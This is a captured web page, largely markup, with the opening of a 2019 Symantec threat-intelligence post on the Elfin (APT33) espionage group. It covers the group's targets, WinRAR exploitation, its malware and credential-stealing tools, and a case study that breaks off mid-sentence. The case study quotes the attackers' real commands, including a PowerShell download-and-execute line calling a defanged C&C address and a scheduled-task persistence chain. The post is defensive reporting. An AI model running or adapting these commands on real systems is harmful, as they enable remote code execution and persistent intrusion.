a:visited:hover,.social-list__item a:visited:focus{background-color:#ffffff73;opacity:1;text-decoration:none}@media (min-width: 45em){.social-list__item a:hover,.social-list__item a:focus,.social-list__item a:visited:hover,.social-list__item a:visited:focus{color:#e3e3e3}}.subscribe-email{font-size:1rem;line-height:3.125rem;appearance:none;background-color:#ffffff26;border-radius:3px;border:0;box-shadow:none;color:#fff;cursor:pointer;display:block;font-family:Metropolis,sans-serif;font-weight:500;padding:0 10px;text-align:center;text-transform:uppercase;transition:background-color .3s ease}.subscribe-email:hover,.subscribe-email:focus{background-color:#ffffff73}.footer{background-color:#000;position:sticky;text-align:center;top:100vh}@media (min-width: 45em){.footer{text-align:left}}.footer .subscribe-email__wrapper{display:block;margin-bottom:20px}@media (min-width: 45em){.footer .subscribe-email__wrapper{margin-bottom:0}}.footer .subscribe-email{font-size:1rem;line-height:2.875rem;color:#ababab;margin:0 auto;white-space:nowrap}@media (min-width: 45em){.footer .subscribe-email{margin-left:0;margin-right:20px}}.footer .subscribe-email:hover,.footer .subscribe-email:focus{color:#fff}.footer .subscribe-email:hover svg,.footer .subscribe-email:focus svg{fill:#fff}.footer .subscribe-email svg{fill:#ababab;margin-right:5px;margin-bottom:-5px}.footer .social-list{margin:0}.footer .social-list__label{color:#ababab;line-height:2.25}.footer .social-list__item{height:35px;width:35px}.footer .social-list__item a,.footer .social-list__item a:visited{font-size:22px;height:35px;line-height:22px;padding:6px;width:35px}.footer-inner{padding:24px 15px}.footer-inner:after{content:"";display:table;clear:both}@media (min-width: 87.5em){.footer-inner{align-items:center;display:flex;padding-left:25px;padding-right:25px}}.footer-column:after{content:"";display:table;clear:both}.footer-column__first{margin-bottom:20px}@media (min-width: 45em){.footer-column__first{align-items:center;display:flex}}@media (min-width: 87.5em){.footer-column__first{width:38.4615384615%;margin-bottom:0}}@media (min-width: 87.5em){.footer-column__last{text-align:right;width:61.5384615385%}}.footer-menu__list{display:block;margin:0;padding:0}@media (min-width: 45em){.footer-menu__list{margin-bottom:5px}}.footer-menu__item{font-size:.875rem;line-height:.875rem;display:block;list-style:none;margin:0 0 15px;padding:0}@media (min-width: 63.75em){.footer-menu__item{display:inline-block;margin-bottom:0}}@media (min-width: 63.75em){.footer-menu__item+.footer-menu__item{margin-left:15px}}.footer-menu__item a,.footer-menu__item a:visited{color:#858585;position:relative}.footer-menu__item a:hover,.footer-menu__item a:focus,.footer-menu__item a:visited:hover,.footer-menu__item a:visited:focus{color:#fff;text-decoration:none}.footer-copyright{font-size:.75rem;line-height:.875rem;color:#858585;display:block}@media (min-width: 87.5em){.footer-copyright{display:inline-block}}.header-primary{background-color:#eee;display:block;height:66px;overflow:hidden;padding:22px 15px;position:relative;z-index:3}@media (min-width: 45em){.header-primary{height:84px;padding:0 25px}}.header-link,.header-link:visited{display:inline-block;vertical-align:middle}.header-link:after,.header-link:visited:after{content:"";display:table;clear:both}@media (min-width: 45em){.header-link,.header-link:visited{display:block;float:left;margin-right:6px}}.header-link:hover .header-text,.header-link:focus .header-text,.header-link:visited:hover .header-text,.header-link:visited:focus .header-text{color:#005c8a}.header-text{display:none}@media (min-width: 45em){.header-text{font-size:1.5rem;line-height:5.25rem;color:#005c8a;display:block;float:left;font-weight:400;margin-left:28px;text-decoration:none;transition:color .3s ease}}.header-text:hover,.header-text:focus{color:#005c8a;text-decoration:none}.header-logo{display:block;float:left;height:31px;width:156px}@media (min-width: 45em){.header-logo{height:53px;margin-top:12px;width:206px}}.header-breadcrumb{display:none}@media (min-width: 63.75em){.header-breadcrumb{font-size:1.5rem;line-height:5.25rem;color:#005c8a;display:block;float:left;font-weight:400}.header-breadcrumb:after{content:"";display:table;clear:both}}.header-breadcrumb__list{margin:0;padding:0}.header-breadcrumb__item{display:block;float:left;list-style:none;margin:0 6px 0 0;padding:0 12px 0 0;position:relative}@media (min-width: 45em){.header-breadcrumb__item{margin-right:0;padding-left:18px;padding-right:8px}}@media (min-width: 45em){.header-breadcrumb__item:before{content:"/";font-size:24px;font-weight:400;left:0;line-height:84px;position:absolute}}.header-breadcrumb__item:last-child:after{display:none;padding-right:0}.header-breadcrumb__link,.header-breadcrumb__link:visited{text-decoration:none;color:#005c8a}.header-breadcrumb__link:hover,.header-breadcrumb__link:focus,.header-breadcrumb__link:visited:hover,.header-breadcrumb__link:visited:focus{color:#005c8a;text-decoration:none}.header .search-icon,.header .search-icon:visited{color:#53565a;display:block;font-family:FontAwesome;font-size:28px;height:66px;line-height:64px;position:absolute;right:0;text-align:center;top:0;width:46px;z-index:999}@media (min-width: 45em){.header .search-icon,.header .search-icon:visited{height:84px;line-height:84px;right:14px}}.header .search-icon:hover,.header .search-icon:focus,.header .search-icon:visited:hover,.header .search-icon:visited:focus{text-decoration:none}.header .search-icon svg,.header .search-icon:visited svg{fill:#53565a;height:30px;width:28px;margin-bottom:-5px}html{background-color:#f8f8f8;color:#53565a;font-family:Metropolis,sans-serif;font-weight:400;height:100%;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body{background-color:#f8f8f8;height:100%}.page-wrapper{min-height:100%}a,a:visited{color:#1b58a5;text-decoration:none;transition:all .3s ease}a:hover,a:focus,a:visited:hover,a:visited:focus{text-decoration:underline}@media print{html{background-color:transparent!important}a:link,a:visited{color:#005c8a!important;text-decoration:underline!important}.main{float:none!important;margin:0!important;padding:0!important;width:100%!important}.main a[href]:after{content:" (" attr(href) ")";font-weight:400;font-size:16px}body,.main{background-color:transparent!important;background-image:none!important;color:#000!important}.header{margin-bottom:10px}.header-primary{background-color:transparent!important;height:auto!important;padding:0!important}.header-logo{float:none!important}.page-container{max-width:none!important}h1,.meta{color:#000!important}.blog-post{margin-top:0!important}.blog-post__content{background-color:transparent!important;border:0!important;float:none!important;padding:0!important;width:100%!important}.blog-post__comment{margin-bottom:0!important}.header-navigation,.footer,.header-breadcrumb,.related-blog-posts,.social-list,.hero,.blog-post__comment{display:none!important;visibility:hidden!important}} </style><link rel="stylesheet" href="/styles.1db77a7d4b6f70cd.css" media="print" onload="this.media='all'"><noscript><link rel="stylesheet" href="/styles.1db77a7d4b6f70cd.css" media="all"></noscript><style ng-app-id="ng">[_nghost-ng-c262208271]{display:block}</style><link title="Symantec Enterprise Blogs" href="https://sed-cms.broadcom.com/rss/v1/blogs/rss.xml" rel="alternate" type="application/rss+xml"><link title="Symantec Enterprise Blogs - Threat Intelligence" href="https://sed-cms.broadcom.com/rss/v1/blogs/rss.xml/221" rel="alternate" type="application/rss+xml"><link title="Symantec Enterprise Blogs - Feature Stories" href="https://sed-cms.broadcom.com/rss/v1/blogs/rss.xml/211" rel="alternate" type="application/rss+xml"><link title="Symantec Enterprise Blogs - Expert Perspectives" href="https://sed-cms.broadcom.com/rss/v1/blogs/rss.xml/251" rel="alternate" type="application/rss+xml"><link title="Symantec Enterprise Blogs - Symantec and AI" href="https://sed-cms.broadcom.com/rss/v1/blogs/rss.xml/17769" rel="alternate" type="application/rss+xml"><link title="Symantec Enterprise Blogs - Product Insights" href="https://sed-cms.broadcom.com/rss/v1/blogs/rss.xml/231" rel="alternate" type="application/rss+xml"><link title="Symantec Enterprise Blogs - Ransomware" href="https://sed-cms.broadcom.com/rss/v1/blogs/rss.xml/16990" rel="alternate" type="application/rss+xml"><link title="Symantec Enterprise Blogs - SolarWinds" href="https://sed-cms.broadcom.com/rss/v1/blogs/rss.xml/16254" rel="alternate" type="application/rss+xml"><link title="Symantec Enterprise Blogs - RSA Conference" href="https://sed-cms.broadcom.com/rss/v1/blogs/rss.xml/16991" rel="alternate" type="application/rss+xml"><link title="Symantec Enterprise Blogs - Japanese" href="https://sed-cms.broadcom.com/rss/v1/blogs/rss.xml/11291" rel="alternate" type="application/rss+xml"><meta name="twitter:card" content="summary_large_image"><meta name="twitter:site" content="@BroadcomSW"><meta name="twitter:creator" content="@BroadcomSW"><meta name="twitter:title" content="Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S."><meta name="twitter:description" content="Although heavily focused on the Middle East, Elfin (aka APT33) has also targeted a range of organizations in the U.S. including a number of major corporations."><meta name="twitter:domain" content="symantec-enterprise-blogs.security.com"><meta property="og:type" content="article"><meta property="og:url" content><meta property="og:title" content="Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S."><meta property="og:description" content="Although heavily focused on the Middle East, Elfin (aka APT33) has also targeted a range of organizations in the U.S. including a number of major corporations."><meta name="twitter:image" content="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/social_media_meta/public/2019-03/Elfin_Hero.jpg?h=c1473937&itok=LK-CUCx1"><meta property="og:image" content="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/social_media_meta/public/2019-03/Elfin_Hero.jpg?h=c1473937&itok=LK-CUCx1"><link rel="canonical" href="http://prod-blogs-ui.client-b1.bkjdigital.com/blogs/threat-intelligence/elfin-apt33-espionage"><style ng-app-id="ng">[_nghost-ng-c3356606451]{display:block}</style><style ng-app-id="ng">[_nghost-ng-c1813540101]{display:block}</style><style ng-app-id="ng">[_nghost-ng-c3428433782]{display:block}</style><style ng-app-id="ng">[_nghost-ng-c3628237615]{display:block}</style><style ng-app-id="ng">[_nghost-ng-c2534073160]{display:block}</style><style ng-app-id="ng">[_nghost-ng-c1463587007]{display:block}</style><style ng-app-id="ng">[_nghost-ng-c2755620283]{display:block}</style></head> <body> <app-root ng-version="18.2.9" ng-server-context="ssr"><app-loader _nghost-ng-c262208271><!----></app-loader><div class="page-wrapper"><header role="banner" class="header"><div class="header-primary"><a routerlink="/" title="Symantec Enterprise Blogs" rel="home" class="header-link" href="/"><img src="/assets/logo.20230425.svg" alt="Symantec" class="header-logo"><span class="header-text">Symantec Enterprise Blogs</span></a><div class="header-breadcrumb"><app-breadcrumbs _nghost-ng-c3356606451><ul _ngcontent-ng-c3356606451 class="header-breadcrumb__list"><li _ngcontent-ng-c3356606451 class="header-breadcrumb__item"><a _ngcontent-ng-c3356606451 class="header-breadcrumb__link" href="/threat-intelligence">Threat Intelligence</a><!----><!----></li><!----></ul><!----></app-breadcrumbs></div><!----><div class="header-navigation"><button aria-hidden="true" class="nav-toggle"><span><em>Menu</em></span></button><a routerlink="/search" class="search-icon" href="/search"><app-svg-icon><svg width="25px" height="25px" fill="white"><use href="/assets/icomoon/search.svg#search"/></svg></app-svg-icon></a><app-blogs-menu _nghost-ng-c922701099><nav _ngcontent-ng-c922701099 role="navigation" aria-labelledby="primary-menu" class="nav-menu"><div _ngcontent-ng-c922701099 class="inner"><header _ngcontent-ng-c922701099><h2 _ngcontent-ng-c922701099>Main menu</h2></header><ul _ngcontent-ng-c922701099 class="nav-menu__list"><li _ngcontent-ng-c922701099 class="nav-menu__item"><a _ngcontent-ng-c922701099 href="https://broadcom-software.security.com/blogs/" class="nav-menu__link"><app-svg-icon _ngcontent-ng-c922701099 class="icomoon"><svg width="25px" height="25px" fill="white" class="icomoon"><use href="/assets/icomoon/home.svg#home"/></svg></app-svg-icon>Blogs Home</a></li><!----><li _ngcontent-ng-c922701099 class="nav-menu__item"><a _ngcontent-ng-c922701099 class="nav-menu__link" href="/threat-intelligence">Threat Intelligence - All Divisions</a></li><li _ngcontent-ng-c922701099 class="nav-menu__item"><a _ngcontent-ng-c922701099 class="nav-menu__link" href="/feature-stories">Feature Stories - Symantec Enterprise</a></li><li _ngcontent-ng-c922701099 class="nav-menu__item"><a _ngcontent-ng-c922701099 class="nav-menu__link" href="/expert-perspectives">Expert Perspectives - Symantec Enterprise</a></li><li _ngcontent-ng-c922701099 class="nav-menu__item"><a _ngcontent-ng-c922701099 class="nav-menu__link" href="/product-insights">Product Insights</a></li><!----><li _ngcontent-ng-c922701099 class="nav-menu__item"><a _ngcontent-ng-c922701099 routerlink="/japanese" class="nav-menu__link" href="/japanese">日本語</a></li><li _ngcontent-ng-c922701099 class="nav-menu__item"><a _ngcontent-ng-c922701099 routerlink="/search" class="nav-menu__link" href="/search"><app-svg-icon _ngcontent-ng-c922701099><svg width="25px" height="25px" fill="white"><use href="/assets/icomoon/search.svg#search"/></svg></app-svg-icon>Search</a></li><li _ngcontent-ng-c922701099 class="nav-menu__item external"><a _ngcontent-ng-c922701099 href="https://www.broadcom.com" target="_blank" rel="noopener" class="nav-menu__link"><app-svg-icon _ngcontent-ng-c922701099 class="icomoon"><svg width="25px" height="25px" fill="white" class="icomoon"><use href="/assets/icomoon/globe-americas.svg#globe-americas"/></svg></app-svg-icon>Broadcom Home</a></li></ul></div></nav></app-blogs-menu></div></div></header><!----><router-outlet></router-outlet><app-blog-post><div class="blog-id--221"><app-hero _nghost-ng-c1813540101><div _ngcontent-ng-c1813540101 class="hero"><!----><figure _ngcontent-ng-c1813540101 app-picture class="hero__image"><!----><picture><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_extra_wide/public/2019-03/Elfin_Hero.jpg.webp?h=c1473937&itok=AL0bPgji 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_extra_wide_2x/public/2019-03/Elfin_Hero.jpg.webp?h=c1473937&itok=JU_sCxFa 2x" media="(min-width: 1900px)"><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_wide/public/2019-03/Elfin_Hero.jpg.webp?h=c1473937&itok=mX3d17Yb 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_wide_2x/public/2019-03/Elfin_Hero.jpg.webp?h=c1473937&itok=RtLC6-79 2x" media="(min-width: 1400px)"><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_large/public/2019-03/Elfin_Hero.jpg.webp?h=c1473937&itok=0C6wVH7L 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_large_2x/public/2019-03/Elfin_Hero.jpg.webp?h=c1473937&itok=AibXdLI4 2x" media="(min-width: 1020px)"><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_medium/public/2019-03/Elfin_Hero.jpg.webp?h=c1473937&itok=1jW6d3Na 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_medium_2x/public/2019-03/Elfin_Hero.jpg.webp?h=c1473937&itok=g1rlGlYx 2x" media="(min-width: 720px)"><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_small/public/2019-03/Elfin_Hero.jpg.webp?h=c1473937&itok=SRSnQQyc 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_small_2x/public/2019-03/Elfin_Hero.jpg.webp?h=c1473937&itok=ZtMLNEXQ 2x" media="(min-width: 420px)"><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_tiny/public/2019-03/Elfin_Hero.jpg.webp?h=c1473937&itok=jv4Ang_H 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_tiny_2x/public/2019-03/Elfin_Hero.jpg.webp?h=c1473937&itok=LtmP2I68 2x" media><!----><img src="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_tiny/public/2019-03/Elfin_Hero.jpg.webp?h=c1473937&itok=jv4Ang_H" alt></picture><!----><!----><!----><!----></figure><!----></div></app-hero><!----><div class="page-container"><main role="main" class="main"><a id="main-content"></a><article role="article" class="node blog-post"><div class="blog-post__aside"><div class="blog-post__author-wrapper"><app-author class="author" _nghost-ng-c3428433782><figure _ngcontent-ng-c3428433782 app-picture class="author__image"><!----><picture><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_author_avatar_small/public/2017-10/author-profile-default.jpg.webp?h=6386ac74&itok=yMcB1DYB 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_author_avatar_small_2x/public/2017-10/author-profile-default.jpg.webp?h=6386ac74&itok=H2VWJd8e 2x" media="(min-width: 420px)"><!----><img src="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_author_avatar_small/public/2017-10/author-profile-default.jpg.webp?h=6386ac74&itok=yMcB1DYB" alt></picture><!----><!----><!----><!----></figure><!----><div _ngcontent-ng-c3428433782 class="author__content"><span _ngcontent-ng-c3428433782 class="author__name">Threat Hunter Team</span><span _ngcontent-ng-c3428433782 class="author__title">Symantec</span></div><!----><!----></app-author><!----></div><!----><!----></div><div class="blog-post__content"><!----><header class="blog-post__header"><div class="row"><div class="column column--first"><div class="meta"><span class="meta__date">Posted: <time>27 Mar, 2019</time></span><span class="meta__time-to-read">8 Min Read</span><span class="meta__tag"><a href="/threat-intelligence">Threat Intelligence</a></span><!----></div><!----></div><div class="column column--last"><div class="social-list__wrapper"><app-subscribe-button _nghost-ng-c522619384><button _ngcontent-ng-c522619384 class="subscribe-email"><app-svg-icon _ngcontent-ng-c522619384><svg width="25px" height="25px" fill="white"><use href="/assets/icomoon/envelope.svg#envelope"/></svg></app-svg-icon> Subscribe</button></app-subscribe-button><div class="social-list"><div class="social-list__label">Follow</div><app-social-list-item class="social-list__item"><a title="twitter" href="https://twitter.com/threatintel"><app-svg-icon><svg width="25px" height="25px" fill="white"><use href="/assets/icomoon/twitter.svg#twitter"/></svg></app-svg-icon><span>twitter</span></a><!----></app-social-list-item><app-social-list-item class="social-list__item"><a title="linkedin" href="https://www.linkedin.com/company/symantec"><app-svg-icon><svg width="25px" height="25px" fill="white"><use href="/assets/icomoon/linkedin.svg#linkedin"/></svg></app-svg-icon><span>linkedin</span></a><!----></app-social-list-item><!----></div><!----></div></div></div><h1 id="page-title" class="blog-post__title">Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.</h1><h2 class="blog-post__subtitle">Although heavily focused on the Middle East, Elfin (aka APT33) has also targeted a range of organizations in the U.S. including a number of major corporations.</h2></header><span><!----><app-paragraph-rte _nghost-ng-c2666164074><div _ngcontent-ng-c2666164074><p>The Elfin espionage group (aka APT33) has remained highly active over the past three years, attacking at least 50 organizations in Saudi Arabia, the United States, and a range of other countries.</p> <p>The group, which first became active in late 2015 or early 2016, specializes in scanning for vulnerable websites and using this to identify potential targets, either for attacks or creation of command and control (C&C) infrastructure. It has compromised a wide range of targets, including governments along with organizations in the research, chemical, engineering, manufacturing, consulting, finance, telecoms, and several other sectors.</p> </div></app-paragraph-rte><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></span><span><!----><!----><!----><!----><!----><!----><!----><app-paragraph-image-inline _nghost-ng-c3628237615><div _ngcontent-ng-c3628237615 class="paragraph paragraph-image-inline"><figure _ngcontent-ng-c3628237615 app-picture><!----><picture><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_inline_medium/public/2019-03/SOK-2276%20Elfin%20Countries.png.webp?itok=99tHUIGJ 1x" media="(min-width: 720px)"><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_inline_small/public/2019-03/SOK-2276%20Elfin%20Countries.png.webp?itok=oxRkXo_r 1x" media="(min-width: 420px)"><!----><img src="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_inline_small/public/2019-03/SOK-2276%20Elfin%20Countries.png.webp?itok=oxRkXo_r" alt="Figure 1. Elfin attacks by country, 2016 -2019"></picture><!----><figcaption>Figure 1. Elfin attacks by country, 2016 -2019</figcaption><!----><!----><!----></figure><!----></div></app-paragraph-image-inline><!----><!----><!----><!----><!----><!----><!----><!----><!----></span><span><!----><app-paragraph-rte _nghost-ng-c2666164074><div _ngcontent-ng-c2666164074><h2>Many U.S. targets</h2> <p>Elfin continues to be focused heavily on Saudi Arabia, which accounted for 42 percent of attacks observed by Symantec since the beginning of 2016. However, the U.S. has also been a country of significant interest to the group, with 18 organizations attacked over the past three years, including a number of Fortune 500 companies.</p> <p>Elfin targets in the U.S. have included organizations in the engineering, chemical, research, energy consultancy, finance, IT, and healthcare sectors.</p> </div></app-paragraph-rte><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></span><span><!----><!----><!----><!----><!----><!----><!----><app-paragraph-image-inline _nghost-ng-c3628237615><div _ngcontent-ng-c3628237615 class="paragraph paragraph-image-inline"><figure _ngcontent-ng-c3628237615 app-picture><!----><picture><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_inline_medium/public/2019-03/SOK-2276%20Elfin%20By%20Sector.png.webp?itok=2NmGxqh2 1x" media="(min-width: 720px)"><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_inline_small/public/2019-03/SOK-2276%20Elfin%20By%20Sector.png.webp?itok=7kQeC61p 1x" media="(min-width: 420px)"><!----><img src="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_inline_small/public/2019-03/SOK-2276%20Elfin%20By%20Sector.png.webp?itok=7kQeC61p" alt="Figure 2. Elfin attacks by sector, 2016-2019"></picture><!----><figcaption>Figure 2. Elfin attacks by sector, 2016-2019</figcaption><!----><!----><!----></figure><!----></div></app-paragraph-image-inline><!----><!----><!----><!----><!----><!----><!----><!----><!----></span><span><!----><app-paragraph-rte _nghost-ng-c2666164074><div _ngcontent-ng-c2666164074><p>Some of these U.S. organizations may have been targeted by Elfin for the purpose of mounting supply chain attacks. In one instance, a large U.S. company was attacked in the same month a Middle Eastern company it co-owns was also compromised.</p> </div></app-paragraph-rte><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></span><span><!----><!----><!----><!----><!----><!----><!----><app-paragraph-image-inline _nghost-ng-c3628237615><div _ngcontent-ng-c3628237615 class="paragraph paragraph-image-inline"><figure _ngcontent-ng-c3628237615 app-picture><!----><picture><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_inline_medium/public/2019-03/SOK-2276%20Elfin%20By%20Month.png.webp?itok=gMacUVZp 1x" media="(min-width: 720px)"><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_inline_small/public/2019-03/SOK-2276%20Elfin%20By%20Month.png.webp?itok=QBU8Hml3 1x" media="(min-width: 420px)"><!----><img src="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_inline_small/public/2019-03/SOK-2276%20Elfin%20By%20Month.png.webp?itok=QBU8Hml3" alt="Figure 3. Elfin attacks by month, 2016-2019 "></picture><!----><figcaption>Figure 3. Elfin attacks by month, 2016-2019 </figcaption><!----><!----><!----></figure><!----></div></app-paragraph-image-inline><!----><!----><!----><!----><!----><!----><!----><!----><!----></span><span><!----><app-paragraph-rte _nghost-ng-c2666164074><div _ngcontent-ng-c2666164074><h2>Vulnerability exploitation</h2> <p>In a recent wave of attacks during February 2019, Elfin attempted to exploit a known vulnerability (CVE-2018-20250) in WinRAR, the widely used file archiving and compression utility capable of creating self-extracting archive files. The exploit was used against one target in the chemical sector in Saudi Arabia. If successfully exploited on an unpatched computer, the vulnerability could permit an attacker to install any file on the computer, which effectively permits code execution on the targeted computer.</p> <p>Two users in the targeted organization received a file called "JobDetails.rar", which attempted to exploit the WinRAR vulnerability. This file was likely delivered via a spear-phishing email. However, prior to this attempted attack, Symantec had rolled out proactive protection against any attempt to exploit this vulnerability (<a href="https://www.symantec.com/security-center/writeup/2019-030106-2440-99">Exp.CVE-2018-20250</a>). This protection successfully protected the targeted organization from being compromised.</p> <h2>The Shamoon connection</h2> <p>Elfin came under the spotlight in December 2018 when it was linked with a new wave of Shamoon attacks. One Shamoon victim in Saudi Arabia had recently also been attacked by Elfin and had been infected with the Stonedrill malware (<a href="https://www.symantec.com/security-center/writeup/2017-030708-4403-99">Trojan.Stonedrill</a>) used by Elfin. Because the Elfin and the Shamoon attacks against this organization occurred so close together, there has been speculation that the two groups may be linked. However, Symantec has found no further evidence to suggest Elfin was responsible for these Shamoon attacks to date. We continue to monitor the activities of both groups closely.</p> <h2>Elfin’s toolset</h2> <p>Elfin has deployed a wide range of tools in its attacks including custom malware, commodity malware, and open-source hacking tools.</p> <p>Custom malware used by the group include:</p> <ul> <li>Notestuk (<a href="https://www.symantec.com/security-center/writeup/2017-082502-5203-99">Backdoor.Notestuk</a>) (aka TURNEDUP): Malware that can be used to open a backdoor and gather information from a compromised computer.</li> <li>Stonedrill (<a href="https://www.symantec.com/security-center/writeup/2017-030708-4403-99">Trojan.Stonedrill</a>): Custom malware capable of opening a backdoor on an infected computer and downloading additional files. The malware also features a destructive component, which can wipe the master boot record of an infected computer.</li> <li>AutoIt backdoor: A custom built backdoor written in the AutoIt scripting language.</li> </ul> <p>In addition to its custom malware, Elfin has also used a number of commodity malware tools, available for purchase on the cyber underground. These include:</p> <ul> <li>Remcos (<a href="https://www.symantec.com/security-center/writeup/2016-080303-1343-99">Backdoor.Remvio</a>): A commodity remote administration tool (RAT) that can be used to steal information from an infected computer.</li> <li>DarkComet (<a href="http://www.symantec.com/security_response/writeup.jsp?docid=2012-021012-3004-99">Backdoor.Breut</a>): Another commodity RAT used to open a backdoor on an infected computer and steal information.</li> <li>Quasar RAT (<a href="https://www.symantec.com/security-center/writeup/2017-020114-1619-99">Trojan.Quasar</a>): Commodity RAT that can be used to steal passwords and execute commands on an infected computer.</li> <li>Pupy RAT (<a href="https://www.symantec.com/security-center/writeup/2017-022715-3830-99">Backdoor.Patpoopy</a>): Commodity RAT that can open a backdoor on an infected computer.</li> <li>NanoCore (<a href="https://www.symantec.com/security-center/writeup/2014-050908-1738-99">Trojan.Nancrat</a>): Commodity RAT used to open a backdoor on an infected computer and steal information.</li> <li>NetWeird (<a href="https://www.symantec.com/security-center/writeup/2015-040111-3949-99#summary">Trojan.Netweird.B</a>): A commodity Trojan which can open a backdoor and steal information from the compromised computer. It may also download additional potentially malicious files.</li> </ul> <p>Elfin also makes frequent use of a number of publicly available hacking tools, including:</p> <ul> <li>LaZagne (<a href="https://www.symantec.com/security-center/writeup/2017-090114-5150-99">SecurityRisk.LaZagne</a>): A login/password retrieval tool</li> <li>Mimikatz (<a href="https://www.symantec.com/security-center/writeup/2012-042615-3731-99">Hacktool.Mimikatz</a>): Tool designed to steal credentials</li> <li>Gpppassword: Tool used to obtain and decrypt Group Policy Preferences (GPP) passwords</li> <li>SniffPass (<a href="https://www.symantec.com/security-center/writeup/2010-011515-5548-99">SniffPass</a>): Tool designed to steal passwords by sniffing network traffic</li> </ul> <h2>Case study: How an Elfin attack unfolds</h2> <p>In this section, we describe in detail an Elfin attack on a U.S. organization. On February 12, 2018 at 16:45 (all times are in the organization’s local time), an email was sent to the organization advertising a job vacancy at an American global service provider. The email contained a malicious link to hxxp://mynetwork.ddns[DOT].net:880.</p> <p>The recipient clicked the link and proceeded to download and open a malicious HTML executable file, which in turn loaded content from a C&C server via an embedded iframe. At the same time, code embedded within this file also executed a PowerShell command to download and execute a copy of chfeeds.vbe from the C&C server.</p> <ul> <li>[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};IEX(New-Object Net.WebClient).DownloadString('hxxps://217.147.168[DOT]46:8088/index.jpg');</li> </ul> <p>A second JavaScript command was also executed, which created a scheduled task to execute chfeeds.vbe multiple times a day.</p> <ul> <li>a.run('%windir%\\System32\\cmd.exe /c PowerShell -window hidden schtasks.exe /CREATE /SC DAILY /TN "1" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 01:00 /f && schtasks.exe /CREATE /SC DAILY /TN "3" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 03:00 /f && schtasks.exe /CREATE /SC DAILY /TN "5" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 05:00 /f && schtasks.exe /CREATE /SC DAILY /TN "7" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 07:00 /f && schtasks.exe /CREATE /SC DAILY /TN "9" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 09:00 /f && schtasks.exe /CREATE /SC DAILY /TN "11" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 11:00 /f && schtasks.exe /CREATE /SC DAILY /TN "13" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 13:00 /f && schtasks.exe /CREATE /SC DAILY /TN "15" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 15:00 /f && schtasks.exe /CREATE /SC DAILY /TN "17" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 17:00 /f && schtasks.exe /CREATE /SC DAILY /TN "19" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 19:00 /f && schtasks.exe /CREATE /SC DAILY /TN "21" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 21:00 /f && schtasks.exe /CREATE /SC DAILY /TN "23" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 23:00 /f ')</li> </ul> <p>The chfeeds.vbe file acts as a downloader and was used to download a second PowerShell script (registry.ps1). This script in turn downloaded and executed a PowerShell backdoor known as POSHC2, a proxy-aware C&C framework, from the C&C server (hxxps:// host-manager.hopto.org). Later at 20:57, the attackers became active on the compromised machine and proceeded to download the archiving tool WinRAR.</p> <ul> <li>89.34.237.118 808 hxxp://89.34.237[DOT]118:808/Rar32.exe</li> </ul> <p>At 23:29, the attackers then proceeded to deploy an updated version of their POSHC2 stager.</p> <ul> <li>192.119.15.35 880 hxxp://mynetwork.ddns[DOT]net:880/st-36-p4578.ps1</li> </ul> <p>This tool was downloaded several times between 